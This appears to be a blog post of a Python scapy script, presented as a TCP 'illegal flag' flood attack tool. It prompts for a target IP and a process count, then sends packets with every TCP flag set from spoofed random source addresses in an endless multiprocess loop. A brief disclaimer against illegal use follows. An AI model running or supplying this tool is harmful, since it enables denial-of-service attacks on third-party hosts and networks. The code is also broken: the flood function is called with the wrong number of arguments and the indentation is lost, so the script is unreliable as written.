#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# TCP标志位非法攻击 Flood Tool Python
from multiprocessing import Process
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def randInt():
x = random.randint(1000, 9000)
return x
def TCP_signal_Flood(dstIP, counter):
total = 0
print("Packets are sending ...")
for x in range(0, counter):
# 创建一个IP数据包
ip_packet = IP(src=randomIP(), dst=dstIP)
# 创建一个TCP数据包,设置标志位
tcp_packet = TCP(flags="UFAPRS")
# 合并IP数据包和TCP数据包
tcp_packet = ip_packet / tcp_packet
# 发送TCPBAIO数据包
send(tcp_packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print("#############################")
print("# github.com/Zhoushukang #")
print("#############################")
print("# Welcome to TCP标志位非法攻击 Tool #")
print("#############################")
dstIP = input("\nTarget IP : ")
# dstPort = input("Target Port : ")
return dstIP
def attack(dstIP, counter):
port = 1
while True:
TCP_signal_Flood(dstIP, port, int(counter))
port = port + 1
if port == 65534:
port = 1
if __name__ == '__main__':
num = input("并行数:")
counter = input("你需要发送多少包 : ")
list = []
dstIP = info()
for i in range(int(num)):
p = Process(target=attack, args=(dstIP, counter))
list.append(p)
for i in list:
i.start()
for i in list:
i.join()
【TCP标志位非法攻击】不要参与违法犯罪行为,仅供交流
最新推荐文章于 2024-08-22 19:23:27 发布